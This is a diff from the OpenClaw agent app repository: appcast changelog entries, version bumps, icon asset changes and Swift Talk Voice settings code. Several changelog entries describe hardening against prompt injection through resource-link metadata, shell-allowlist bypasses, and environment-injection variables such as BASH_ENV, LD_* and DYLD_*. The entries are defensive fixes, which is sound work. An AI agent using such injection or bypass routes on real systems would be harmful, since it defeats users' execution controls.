<li>TUI/History: cap chat-log component growth and prune stale render nodes/references so large default history loads no longer overflow render recursion with <code>RangeError: Maximum call stack size exceeded</code>. (#18068) Thanks @JaniJegoroff.</li>
<li>Memory/QMD: diversify mixed-source search ranking when both session and memory collections are present so session transcript hits no longer crowd out durable memory-file matches in top results. (#19913) Thanks @alextempr.</li>
<li>Memory/Tools: return explicit <code>unavailable</code> warnings/actions from <code>memory_search</code> when embedding/provider failures occur (including quota exhaustion), so disabled memory does not look like an empty recall result. (#21894) Thanks @XBS9.</li>
<li>Session/Startup: require the <code>/new</code> and <code>/reset</code> greeting path to run Session Startup file-reading instructions before responding, so daily memory startup context is not skipped on fresh-session greetings. (#22338) Thanks @armstrong-pv.</li>
<li>Auth/Onboarding: align OAuth profile-id config mapping with stored credential IDs for OpenAI Codex and Chutes flows, preventing <code>provider:default</code> mismatches when OAuth returns email-scoped credentials. (#12692) thanks @mudrii.</li>
<li>Provider/HTTP: treat HTTP 503 as failover-eligible for LLM provider errors. (#21086) Thanks @Protocol-zero-0.</li>
<li>Slack: pass <code>recipient_team_id</code> / <code>recipient_user_id</code> through Slack native streaming calls so <code>chat.startStream</code>/<code>appendStream</code>/<code>stopStream</code> work reliably across DMs and Slack Connect setups, and disable block streaming when native streaming is active. (#20988) Thanks @Dithilli. Earlier recipient-ID groundwork was contributed in #20377 by @AsserAl1012.</li>
<li>CLI/Config: add canonical <code>--strict-json</code> parsing for <code>config set</code> and keep <code>--json</code> as a legacy alias to reduce help/behavior drift. (#21332) thanks @adhitShet.</li>
<li>CLI: keep <code>openclaw -v</code> as a root-only version alias so subcommand <code>-v, --verbose</code> flags (for example ACP/hooks/skills) are no longer intercepted globally. (#21303) thanks @adhitShet.</li>
<li>Memory: return empty snippets when <code>memory_get</code>/QMD read files that have not been created yet, and harden memory indexing/session helpers against ENOENT races so missing Markdown no longer crashes tools. (#20680) Thanks @pahdo.</li>
<li>Telegram/Streaming: always clean up draft previews even when dispatch throws before fallback handling, preventing orphaned preview messages during failed runs. (#19041) thanks @mudrii.</li>
<li>Telegram/Streaming: split reasoning and answer draft preview lanes to prevent cross-lane overwrites, and ignore literal <code><think></code> tags inside inline/fenced code snippets so sample markup is not misrouted as reasoning. (#20774) Thanks @obviyus.</li>
<li>Telegram/Streaming: restore 30-char first-preview debounce and scope <code>NO_REPLY</code> prefix suppression to partial sentinel fragments so normal <code>No...</code> text is not filtered. (#22613) thanks @obviyus.</li>
<li>Telegram/Status reactions: refresh stall timers on repeated phase updates and honor ack-reaction scope when lifecycle reactions are enabled, preventing false stall emojis and unwanted group reactions. Thanks @wolly-tundracube and @thewilloftheshadow.</li>
<li>Telegram/Status reactions: keep lifecycle reactions active when available-reactions lookup fails by falling back to unrestricted variant selection instead of suppressing reaction updates. (#22380) thanks @obviyus.</li>
<li>Discord/Streaming: apply <code>replyToMode: first</code> only to the first Discord chunk so block-streamed replies do not spam mention pings. (#20726) Thanks @thewilloftheshadow for the report.</li>
<li>Discord/Components: map DM channel targets back to user-scoped component sessions so button/select interactions stay in the main DM session. Thanks @thewilloftheshadow.</li>
<li>Discord/Allowlist: lazy-load guild lists when resolving Discord user allowlists so ID-only entries resolve even if guild fetch fails. (#20208) Thanks @zhangjunmengyang.</li>
<li>Discord/Gateway: handle close code 4014 (missing privileged gateway intents) without crashing the gateway. Thanks @thewilloftheshadow.</li>
<li>Discord: ingest inbound stickers as media so sticker-only messages and forwarded stickers are visible to agents. Thanks @thewilloftheshadow.</li>
<li>Auto-reply/Runner: emit <code>onAgentRunStart</code> only after agent lifecycle or tool activity begins (and only once per run), so fallback preflight errors no longer mark runs as started. (#21165) Thanks @shakkernerd.</li>
<li>Auto-reply/Tool results: serialize tool-result delivery and keep the delivery chain progressing after individual failures so concurrent tool outputs preserve user-visible ordering. (#21231) thanks @ahdernasr.</li>
<li>Auto-reply/Prompt caching: restore prefix-cache stability by keeping inbound system metadata session-stable and moving per-message IDs (<code>message_id</code>, <code>message_id_full</code>, <code>reply_to_id</code>, <code>sender_id</code>) into untrusted conversation context. (#20597) Thanks @anisoptera.</li>
<li>iOS/Watch: add actionable watch approval/reject controls and quick-reply actions so watch-originated approvals and responses can be sent directly from notification flows. (#21996) Thanks @mbelinky.</li>
<li>iOS/Watch: refresh iOS and watch app icon assets with the lobster icon set to keep phone/watch branding aligned. (#21997) Thanks @mbelinky.</li>
<li>CLI/Onboarding: fix Anthropic-compatible custom provider verification by normalizing base URLs to avoid duplicate <code>/v1</code> paths during setup checks. (#21336) Thanks @17jmumford.</li>
<li>iOS/Gateway/Tools: prefer uniquely connected node matches when duplicate display names exist, surface actionable <code>nodes invoke</code> pairing-required guidance with request IDs, and refresh active iOS gateway registration after location-capability setting changes so capability updates apply immediately. (#22120) thanks @mbelinky.</li>
<li>Gateway/Auth: require <code>gateway.trustedProxies</code> to include a loopback proxy address when <code>auth.mode="trusted-proxy"</code> and <code>bind="loopback"</code>, preventing same-host proxy misconfiguration from silently blocking auth. (#22082, follow-up to #20097) thanks @mbelinky.</li>
<li>Gateway/Auth: allow trusted-proxy mode with loopback bind for same-host reverse-proxy deployments, while still requiring configured <code>gateway.trustedProxies</code>. (#20097) thanks @xinhuagu.</li>
<li>Gateway/Auth: allow authenticated clients across roles/scopes to call <code>health</code> while preserving role and scope enforcement for non-health methods. (#19699) thanks @Nachx639.</li>
<li>Gateway/Hooks: include transform export name in hook-transform cache keys so distinct exports from the same module do not reuse the wrong cached transform function. (#13855) thanks @mcaxtr.</li>
<li>Gateway/Control UI: return 404 for missing static-asset paths instead of serving SPA fallback HTML, while preserving client-route fallback behavior for extensionless and non-asset dotted paths. (#12060) thanks @mcaxtr.</li>
<li>Gateway/Pairing: prevent device-token rotate scope escalation by enforcing an approved-scope baseline, preserving approved scopes across metadata updates, and rejecting rotate requests that exceed approved role scope implications. (#20703) thanks @coygeek.</li>
<li>Gateway/Pairing: clear persisted paired-device state when the gateway client closes with <code>device token mismatch</code> (<code>1008</code>) so reconnect flows can cleanly re-enter pairing. (#22071) Thanks @mbelinky.</li>
<li>Gateway/Config: allow <code>gateway.customBindHost</code> in strict config validation when <code>gateway.bind="custom"</code> so valid custom bind-host configurations no longer fail startup. (#20318, fixes #20289) Thanks @MisterGuy420.</li>
<li>Gateway/Pairing: tolerate legacy paired devices missing <code>roles</code>/<code>scopes</code> metadata in websocket upgrade checks and backfill metadata on reconnect. (#21447, fixes #21236) Thanks @joshavant.</li>
<li>Gateway/Pairing/CLI: align read-scope compatibility in pairing/device-token checks and add local <code>openclaw devices</code> fallback recovery for loopback <code>pairing required</code> deadlocks, with explicit fallback notice to unblock approval bootstrap flows. (#21616) Thanks @shakkernerd.</li>
<li>Cron: honor <code>cron.maxConcurrentRuns</code> in the timer loop so due jobs can execute up to the configured parallelism instead of always running serially. (#11595) Thanks @Takhoffman.</li>
<li>Agents/Compaction: restore embedded compaction safeguard/context-pruning extension loading in production by wiring bundled extension factories into the resource loader instead of runtime file-path resolution. (#22349) Thanks @Glucksberg.</li>
<li>Agents/Subagents: restore announce-chain delivery to agent injection, defer nested announce output until descendant follow-up content is ready, and prevent descendant deferrals from consuming announce retry budget so deep chains do not drop final completions. (#22223) Thanks @tyler6204.</li>
<li>Agents/System Prompt: label allowlisted senders as authorized senders to avoid implying ownership. Thanks @thewilloftheshadow.</li>
<li>Agents/Tool display: fix exec cwd suffix inference so <code>pushd ... && popd ... && <command></code> does not keep stale <code>(in <dir>)</code> context in summaries. (#21925) Thanks @Lukavyi.</li>
<li>Tools/web_search: handle xAI Responses API payloads that emit top-level <code>output_text</code> blocks (without a <code>message</code> wrapper) so Grok web_search no longer returns <code>No response</code> for those results. (#20508) Thanks @echoVic.</li>
<li>Agents/Failover: treat non-default override runs as direct fallback-to-configured-primary (skip configured fallback chain), normalize default-model detection for provider casing/whitespace, and add regression coverage for override/auth error paths. (#18820) Thanks @Glucksberg.</li>
<li>Docker/Build: include <code>ownerDisplay</code> in <code>CommandsSchema</code> object-level defaults so Docker <code>pnpm build</code> no longer fails with <code>TS2769</code> during plugin SDK d.ts generation. (#22558) Thanks @obviyus.</li>
<li>Docker/Browser: install Playwright Chromium into <code>/home/node/.cache/ms-playwright</code> and set <code>node:node</code> ownership so browser binaries are available to the runtime user in browser-enabled images. (#22585) thanks @obviyus.</li>
<li>Hooks/Session memory: trigger bundled <code>session-memory</code> persistence on both <code>/new</code> and <code>/reset</code> so reset flows no longer skip markdown transcript capture before archival. (#21382) Thanks @mofesolapaul.</li>
<li>Dependencies/Agents: bump embedded Pi SDK packages (<code>@mariozechner/pi-agent-core</code>, <code>@mariozechner/pi-ai</code>, <code>@mariozechner/pi-coding-agent</code>, <code>@mariozechner/pi-tui</code>) to <code>0.54.0</code>. (#21578) Thanks @Takhoffman.</li>
<li>Config/Agents: expose Pi compaction tuning values <code>agents.defaults.compaction.reserveTokens</code> and <code>agents.defaults.compaction.keepRecentTokens</code> in config schema/types and apply them in embedded Pi runner settings overrides with floor enforcement via <code>reserveTokensFloor</code>. (#21568) Thanks @Takhoffman.</li>
<li>Docker: pin base images to SHA256 digests in Docker builds to prevent mutable tag drift. (#7734) Thanks @coygeek.</li>
<li>Docker: run build steps as the <code>node</code> user and use <code>COPY --chown</code> to avoid recursive ownership changes, trimming image size and layer churn. Thanks @huntharo.</li>
<li>Config/Memory: restore schema help/label metadata for hybrid <code>mmr</code> and <code>temporalDecay</code> settings so configuration surfaces show correct names and guidance. (#18786) Thanks @rodrigouroz.</li>
<li>Skills/SonosCLI: add troubleshooting guidance for <code>sonos discover</code> failures on macOS direct mode (<code>sendto: no route to host</code>) and sandbox network restrictions (<code>bind: operation not permitted</code>). (#21316) Thanks @huntharo.</li>
<li>macOS/Build: default release packaging to <code>BUNDLE_ID=ai.openclaw.mac</code> in <code>scripts/package-mac-dist.sh</code>, so Sparkle feed URL is retained and auto-update no longer fails with an empty appcast feed. (#19750) thanks @loganprit.</li>
<li>Signal/Outbound: preserve case for Base64 group IDs during outbound target normalization so cross-context routing and policy checks no longer break when group IDs include uppercase characters. (#5578) Thanks @heyhudson.</li>
<li>Anthropic/Agents: preserve required pi-ai default OAuth beta headers when <code>context1m</code> injects <code>anthropic-beta</code>, preventing 401 auth failures for <code>sk-ant-oat-*</code> tokens. (#19789, fixes #19769) Thanks @minupla.</li>
<li>Security/Exec: block unquoted heredoc body expansion tokens in shell allowlist analysis, reject unterminated heredocs, and require explicit approval for allowlisted heredoc execution on gateway hosts to prevent heredoc substitution allowlist bypass. Thanks @torturado for reporting.</li>
<li>macOS/Security: evaluate <code>system.run</code> allowlists per shell segment in macOS node runtime and companion exec host (including chained shell operators), fail closed on shell/process substitution parsing, and require explicit approval on unsafe parse cases to prevent allowlist bypass via <code>rawCommand</code> chaining. Thanks @tdjackey for reporting.</li>
<li>WhatsApp/Security: enforce allowlist JID authorization for reaction actions so authenticated callers cannot target non-allowlisted chats by forging <code>chatJid</code> + valid <code>messageId</code> pairs. Thanks @aether-ai-agent for reporting.</li>
<li>ACP/Security: escape control and delimiter characters in ACP <code>resource_link</code> title/URI metadata before prompt interpolation to prevent metadata-driven prompt injection through resource links. Thanks @aether-ai-agent for reporting.</li>
<li>TTS/Security: make model-driven provider switching opt-in by default (<code>messages.tts.modelOverrides.allowProvider=false</code> unless explicitly enabled), while keeping voice/style overrides available, to reduce prompt-injection-driven provider hops and unexpected TTS cost escalation. Thanks @aether-ai-agent for reporting.</li>
<li>Security/Agents: keep overflow compaction retry budgeting global across tool-result truncation recovery so successful truncation cannot reset the overflow retry counter and amplify retry/cost cycles. Thanks @aether-ai-agent for reporting.</li>
<li>BlueBubbles/Security: require webhook token authentication for all BlueBubbles webhook requests (including loopback/proxied setups), removing passwordless webhook fallback behavior. Thanks @zpbrent.</li>
<li>iOS/Security: force <code>https://</code> for non-loopback manual gateway hosts during iOS onboarding to block insecure remote transport URLs. (#21969) Thanks @mbelinky.</li>
<li>Gateway/Security: remove shared-IP fallback for canvas endpoints and require token or session capability for canvas access. Thanks @thewilloftheshadow.</li>
<li>Gateway/Security: require secure context and paired-device checks for Control UI auth even when <code>gateway.controlUi.allowInsecureAuth</code> is set, and align audit messaging with the hardened behavior. (#20684) Thanks @coygeek and @Vasco0x4 for reporting.</li>
<li>Gateway/Security: scope tokenless Tailscale forwarded-header auth to Control UI websocket auth only, so HTTP gateway routes still require token/password even on trusted hosts. Thanks @zpbrent for reporting.</li>
<li>Docker/Security: run E2E and install-sh test images as non-root by adding appuser directives. Thanks @thewilloftheshadow.</li>
<li>Skills/Security: sanitize skill env overrides to block unsafe runtime injection variables and only allow sensitive keys when declared in skill metadata, with warnings for suspicious values. Thanks @thewilloftheshadow.</li>
<li>Security/Commands: block prototype-key injection in runtime <code>/debug</code> overrides and require own-property checks for gated command flags (<code>bash</code>, <code>config</code>, <code>debug</code>) so inherited prototype values cannot enable privileged commands. Thanks @tdjackey for reporting.</li>
<li>Security/Browser: block non-network browser navigation protocols (including <code>file:</code>, <code>data:</code>, and <code>javascript:</code>) while preserving <code>about:blank</code>, preventing local file reads via browser tool navigation. Thanks @q1uf3ng for reporting.</li>
<li>Security/Exec: block shell startup-file env injection (<code>BASH_ENV</code>, <code>ENV</code>, <code>BASH_FUNC_*</code>, <code>LD_*</code>, <code>DYLD_*</code>) across config env ingestion, node-host inherited environment sanitization, and macOS exec host runtime to prevent pre-command execution from attacker-controlled environment variables. Thanks @tdjackey.</li>
<li>Security/Exec (Windows): canonicalize <code>cmd.exe /c</code> command text across validation, approval binding, and audit/event rendering to prevent trailing-argument approval mismatches in <code>system.run</code>. Thanks @tdjackey for reporting.</li>
<li>Security/Gateway/Hooks: block <code>__proto__</code>, <code>constructor</code>, and <code>prototype</code> traversal in webhook template path resolution to prevent prototype-chain payload data leakage in <code>messageTemplate</code> rendering. (#22213) Thanks @SleuthCo.</li>
<li>Security/OpenClawKit/UI: prevent injected inbound user context metadata blocks from leaking into chat history in TUI, webchat, and macOS surfaces by stripping all untrusted metadata prefixes at display boundaries. (#22142) Thanks @Mellowambience, @vincentkoc.</li>
<li>Security/OpenClawKit/UI: strip inbound metadata blocks from user messages in TUI rendering while preserving user-authored content. (#22345) Thanks @kansodata, @vincentkoc.</li>
<li>Security/OpenClawKit/UI: prevent inbound metadata leaks and reply-tag streaming artifacts in TUI rendering by stripping untrusted metadata prefixes at display boundaries. (#22346) Thanks @akramcodez, @vincentkoc.</li>
<li>Security/Agents: restrict local MEDIA tool attachments to core tools and the OpenClaw temp root to prevent untrusted MCP tool file exfiltration. Thanks @NucleiAv and @thewilloftheshadow.</li>
<li>Security/Net: strip sensitive headers (<code>Authorization</code>, <code>Proxy-Authorization</code>, <code>Cookie</code>, <code>Cookie2</code>) on cross-origin redirects in <code>fetchWithSsrFGuard</code> to prevent credential forwarding across origin boundaries. (#20313) Thanks @afurm.</li>
<li>Security/Systemd: reject CR/LF in systemd unit environment values and fix argument escaping so generated units cannot be injected with extra directives. Thanks @thewilloftheshadow.</li>
<li>Security/Tools: add per-wrapper random IDs to untrusted-content markers from <code>wrapExternalContent</code>/<code>wrapWebContent</code>, preventing marker spoofing from escaping content boundaries. (#19009) Thanks @Whoaa512.</li>
<li>Shared/Security: reject insecure deep links that use <code>ws://</code> non-loopback gateway URLs to prevent plaintext remote websocket configuration. (#21970) Thanks @mbelinky.</li>
<li>macOS/Security: reject non-loopback <code>ws://</code> remote gateway URLs in macOS remote config to block insecure plaintext websocket endpoints. (#21971) Thanks @mbelinky.</li>
<li>Browser/Security: block upload path symlink escapes so browser upload sources cannot traverse outside the allowed workspace via symlinked paths. (#21972) Thanks @mbelinky.</li>
<li>Security/Dependencies: bump transitive <code>hono</code> usage to <code>4.11.10</code> to incorporate timing-safe authentication comparison hardening for <code>basicAuth</code>/<code>bearerAuth</code> (<code>GHSA-gq3j-xvxp-8hrf</code>). Thanks @vincentkoc.</li>
<li>Security/Gateway: parse <code>X-Forwarded-For</code> with trust-preserving semantics when requests come from configured trusted proxies, preventing proxy-chain spoofing from influencing client IP classification and rate-limit identity. Thanks @AnthonyDiSanti and @vincentkoc.</li>
<li>Security/Sandbox: remove default <code>--no-sandbox</code> for the browser container entrypoint, add explicit opt-in via <code>OPENCLAW_BROWSER_NO_SANDBOX</code> / <code>CLAWDBOT_BROWSER_NO_SANDBOX</code>, and add security-audit checks for stale/missing sandbox browser Docker hash labels. Thanks @TerminalsandCoffee and @vincentkoc.</li>
<li>Security/Sandbox Browser: require VNC password auth for noVNC observer sessions in the sandbox browser entrypoint, plumb per-container noVNC passwords from runtime, and emit short-lived noVNC observer token URLs while keeping loopback-only host port publishing. Thanks @TerminalsandCoffee for reporting.</li>
<li>Security/Sandbox Browser: default browser sandbox containers to a dedicated Docker network (<code>openclaw-sandbox-browser</code>), add optional CDP ingress source-range restrictions, auto-create missing dedicated networks, and warn in <code>openclaw security --audit</code> when browser sandboxing runs on bridge without source-range limits. Thanks @TerminalsandCoffee for reporting.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.13/OpenClaw-2026.2.13.zip" length="22902077" type="application/octet-stream" sparkle:edSignature="RpkwlPtB2yN7UOYZWfthV5grhDUcbhcHMeicdRA864Vo/P0Hnq5aHKmSvcbWkjHut96TC57bX+AeUrL7txpLCg=="/>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.2.21/OpenClaw-2026.2.21.zip" length="23065599" type="application/octet-stream" sparkle:edSignature="Wg3P8rMvYO3uWoVR7Izxjm5hC5W0C5jCG2dR4WFSe8ULpUUU79YDJc99NMBnl8ym7ZVbelS3kZ0QSg0Wq2GhCw=="/>
</item>
</channel>
</rss>

View File

@@ -21,8 +21,8 @@ android {
applicationId = "ai.openclaw.android"
minSdk = 31
targetSdk = 36
versionCode = 202602200
versionName = "2026.2.20"
versionCode = 202602210
versionName = "2026.2.21"
ndk {
// Support all major ABIs — native libs are tiny (~47 KB per ABI)
abiFilters += listOf("armeabi-v7a", "arm64-v8a", "x86", "x86_64")

View File

@@ -17,7 +17,7 @@
<key>CFBundlePackageType</key>
<string>XPC!</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleVersion</key>
<string>20260220</string>
<key>NSExtension</key>

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 340 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.3 KiB

View File

@@ -1,31 +1 @@
{
"images" : [
{ "filename" : "icon-20@1x.png", "idiom" : "ipad", "scale" : "1x", "size" : "20x20" },
{ "filename" : "icon-20@2x.png", "idiom" : "ipad", "scale" : "2x", "size" : "20x20" },
{ "filename" : "icon-20@2x.png", "idiom" : "iphone","scale" : "2x", "size" : "20x20" },
{ "filename" : "icon-20@3x.png", "idiom" : "iphone","scale" : "3x", "size" : "20x20" },
{ "filename" : "icon-29@1x.png", "idiom" : "ipad", "scale" : "1x", "size" : "29x29" },
{ "filename" : "icon-29@2x.png", "idiom" : "ipad", "scale" : "2x", "size" : "29x29" },
{ "filename" : "icon-29@2x.png", "idiom" : "iphone","scale" : "2x", "size" : "29x29" },
{ "filename" : "icon-29@3x.png", "idiom" : "iphone","scale" : "3x", "size" : "29x29" },
{ "filename" : "icon-40@1x.png", "idiom" : "ipad", "scale" : "1x", "size" : "40x40" },
{ "filename" : "icon-40@2x.png", "idiom" : "ipad", "scale" : "2x", "size" : "40x40" },
{ "filename" : "icon-40@2x.png", "idiom" : "iphone","scale" : "2x", "size" : "40x40" },
{ "filename" : "icon-40@3x.png", "idiom" : "iphone","scale" : "3x", "size" : "40x40" },
{ "filename" : "icon-60@2x.png", "idiom" : "iphone","scale" : "2x", "size" : "60x60" },
{ "filename" : "icon-60@3x.png", "idiom" : "iphone","scale" : "3x", "size" : "60x60" },
{ "filename" : "icon-76@2x.png", "idiom" : "ipad", "scale" : "2x", "size" : "76x76" },
{ "filename" : "icon-83.5@2x.png", "idiom" : "ipad", "scale" : "2x", "size" : "83.5x83.5" },
{ "filename" : "icon-1024.png", "idiom" : "ios-marketing", "scale" : "1x", "size" : "1024x1024" }
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
{"images":[{"size":"60x60","expected-size":"180","filename":"180.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"40x40","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"60x60","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"57x57","expected-size":"57","filename":"57.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"87","filename":"87.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"57x57","expected-size":"114","filename":"114.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"60","filename":"60.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"1024x1024","filename":"1024.png","expected-size":"1024","idiom":"ios-marketing","folder":"Assets.xcassets/AppIcon.appiconset/","scale":"1x"},{"idiom":"watch","filename":"172.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"38mm","scale":"2x","size":"86x86","expected-size":"172","role":"quickLook"},{"idiom":"watch","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"38mm","scale":"2x","size":"40x40","expected-size":"80","role":"appLauncher"},{"idiom":"watch","filename":"88.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"40mm","scale":"2x","size":"44x44","expected-size":"88","role":"appLauncher"},{"idiom":"watch","filename":"102.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"45mm","scale":"2x","size":"51x51","expected-size":"102","role":"appLauncher"},{"idiom":"watch","filename":"108.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"49mm","scale":"2x","size":"54x54","expected-size":"108","role":"appLauncher"},{"idiom":"watch","filename":"92.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"41mm","scale":"2x","size":"46x46","expected-size":"92","role":"appLauncher"},{"idiom":"watch","filename":"100.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"44mm","scale":"2x","size":"50x50","expected-size":"100","role":"appLauncher"},{"idiom":"watch","filename":"196.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"42mm","scale":"2x","size":"98x98","expected-size":"196","role":"quickLook"},{"idiom":"watch","filename":"216.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"44mm","scale":"2x","size":"108x108","expected-size":"216","role":"quickLook"},{"idiom":"watch","filename":"234.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"45mm","scale":"2x","size":"117x117","expected-size":"234","role":"quickLook"},{"idiom":"watch","filename":"258.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"49mm","scale":"2x","size":"129x129","expected-size":"258","role":"quickLook"},{"idiom":"watch","filename":"48.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"38mm","scale":"2x","size":"24x24","expected-size":"48","role":"notificationCenter"},{"idiom":"watch","filename":"55.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"42mm","scale":"2x","size":"27.5x27.5","expected-size":"55","role":"notificationCenter"},{"idiom":"watch","filename":"66.png","folder":"Assets.xcassets/AppIcon.appiconset/","subtype":"45mm","scale":"2x","size":"33x33","expected-size":"66","role":"notificationCenter"},{"size":"29x29","expected-size":"87","filename":"87.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"watch","role":"companionSettings","scale":"3x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"watch","role":"companionSettings","scale":"2x"},{"size":"1024x1024","expected-size":"1024","filename":"1024.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"watch-marketing","scale":"1x"}]}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 208 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 878 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

View File

@@ -1,6 +0,0 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -704,7 +704,7 @@ final class GatewayConnectionController {
var addr = in_addr()
let parsed = host.withCString { inet_pton(AF_INET, $0, &addr) == 1 }
guard parsed else { return false }
let value = ntohl(addr.s_addr)
let value = UInt32(bigEndian: addr.s_addr)
let firstOctet = UInt8((value >> 24) & 0xFF)
return firstOctet == 127
}

View File

@@ -19,7 +19,7 @@
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleURLTypes</key>
<array>
<dict>

View File

@@ -1904,6 +1904,7 @@ private extension NodeAppModel {
}
GatewayDiagnostics.log(
"operator gateway connected host=\(url.host ?? "?") scheme=\(url.scheme ?? "?")")
await self.talkMode.reloadConfig()
await self.refreshBrandingFromGateway()
await self.refreshAgentsFromGateway()
await self.refreshShareRouteFromGateway()

View File

@@ -306,6 +306,26 @@ struct SettingsTab: View {
help: "Keeps the screen awake while OpenClaw is open.")
DisclosureGroup("Advanced") {
VStack(alignment: .leading, spacing: 8) {
Text("Talk Voice (Gateway)")
.font(.footnote.weight(.semibold))
.foregroundStyle(.secondary)
LabeledContent("Provider", value: "ElevenLabs")
LabeledContent(
"API Key",
value: self.appModel.talkMode.gatewayTalkConfigLoaded
? (self.appModel.talkMode.gatewayTalkApiKeyConfigured ? "Configured" : "Not configured")
: "Not loaded")
LabeledContent(
"Default Model",
value: self.appModel.talkMode.gatewayTalkDefaultModelId ?? "eleven_v3 (fallback)")
LabeledContent(
"Default Voice",
value: self.appModel.talkMode.gatewayTalkDefaultVoiceId ?? "auto (first available)")
Text("Configured on gateway via talk.apiKey, talk.modelId, and talk.voiceId.")
.font(.footnote)
.foregroundStyle(.secondary)
}
self.featureToggle(
"Voice Directive Hint",
isOn: self.$talkVoiceDirectiveHintEnabled,
@@ -399,6 +419,9 @@ struct SettingsTab: View {
// Keep setup front-and-center when disconnected; keep things compact once connected.
self.gatewayExpanded = !self.isGatewayConnected
self.selectedAgentPickerId = self.appModel.selectedAgentId ?? ""
if self.isGatewayConnected {
self.appModel.reloadTalkConfig()
}
}
.onChange(of: self.selectedAgentPickerId) { _, newValue in
let trimmed = newValue.trimmingCharacters(in: .whitespacesAndNewlines)

View File

@@ -24,6 +24,10 @@ final class TalkModeManager: NSObject {
var statusText: String = "Off"
/// 0..1-ish (not calibrated). Intended for UI feedback only.
var micLevel: Double = 0
var gatewayTalkConfigLoaded: Bool = false
var gatewayTalkApiKeyConfigured: Bool = false
